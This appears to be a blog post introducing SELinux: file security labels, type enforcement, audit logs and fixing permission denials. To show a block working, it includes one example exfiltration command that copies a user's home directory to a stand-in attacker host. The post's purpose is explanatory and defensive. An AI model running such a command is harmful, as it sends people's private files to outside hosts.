I think a lot of people involved in the Linux space, both devs and regular users, have a hard time with SELinux. Just last week I was showing some of my personal server’s security to a colleague and I could see the look of sheer “This is above my pay-grade” all over his face.
Yes it’s an NSA thing
Before we go further, I have to answer one question: yes, it was developed by the NSA. As most security researchers and other people “in the know” have pointed out, the NSA cannot be trusted with most things. But this is one of several notable exceptions to that rule, and even Linus has defended them on this one.
Security Labels
SELinux works by attaching “security labels” to files and directories on the
file system as metadata. For instance doing a ls -lZ
command on my web server
home directory looks like this
# ls -lZ /var/www/*
drwxr-xr-x. 4 git www-data system_u:object_r:httpd_sys_content_t:s0 4096 Nov 17 2020 2020
-rw-r--r--. 1 git www-data system_u:object_r:httpd_sys_content_t:s0 1654 Apr 6 14:52 404.html
-rw-r--r--. 1 git www-data system_u:object_r:httpd_sys_content_t:s0 2779 Apr 6 14:52 about.html
drwxr-xr-x. 6 git www-data system_u:object_r:httpd_sys_content_t:s0 4096 Apr 6 14:52 assets
-rw-r--r--. 1 git www-data system_u:object_r:httpd_sys_content_t:s0 20564 Apr 6 14:52 feed.xml
-rw-r--r--. 1 git www-data system_u:object_r:httpd_sys_content_t:s0 2622 Apr 6 14:52 index.html
-rw-r--r--. 1 root root unconfined_u:object_r:httpd_sys_content_t:s0 612 Jun 24 14:44 index.nginx-debian.html
drwxr-xr-x. 3 git www-data system_u:object_r:httpd_sys_content_t:s0 4096 Apr 8 2020 oss
-rw-r--r--. 1 git www-data system_u:object_r:httpd_sys_content_t:s0 1890 Apr 6 14:52 projects.html
As you can see, the security context is a colon-delimited list. The system_u
,
object_r
, and s0
parts aren’t used in the targeted policy (which I use).
Those are used in the multi-level security (MLS) policy, and it adds much more
complexity than is required for most use cases. For the target policy only the
“type” portion is ever used.
These labels are attached to the file system on initial setup of SELinux by
running touch /.autorelabel
and making sure security=selinux selinux=1
is
appended to the kernel command line, see your bootloader documentation for that.
You can change them either rerunning that command and rebooting or by using the
restorecon
or chcon
commands, see the relevant manpage for details.
Type Enforcement
This is where most people really start to get confused. On every access of
any file in the file system, the kernel still checks UNIX permissions, i.e.
the rwx
bits in the file metadata. If the permission bits don’t allow
something, SELinux won’t allow it either. Not very interesting, right? The
interesting part begins when a user, alice
has some data that might be
classified or read-only and decides, maybe out of frustration, to chmod 777
her entire home directory. Most Linux and Unix heads are probably exploding upon
reading that, but this where SELinux can really save your bacon. Because when
a system process has a vulnerability that allows arbitrary code execution and
tries to run a shell command such as:
$ scp -r ~alice www.data-hack.net
cp: cannot stat '/home/alice': Permission denied
This is due to the kernel detecting a type mismatch, i.e. it detects the
process running with httpd_t
cannot access files with the type user_home_t
.
In addition, all of these errors are logged by the audit daemon, auditd
and
placed in /var/log/audit/audit.log
for you to examine later.
Fixing Errors
The first step to take when fixing a permission error, and you know the
permission bits are set correctly, is to check the audit logs with the command
ausearch -c <command_name> | audit2why
. This command string searches the audit
logs for the command <command_name>
and feeds the results into audit2why
which translates them into a more human readable format. This command will tell
you exactly what to do to fix the error, whether it be setsebool -P <bool_name>
or ausearch -c <command_name> | audit2allow -M <command_name>Local
.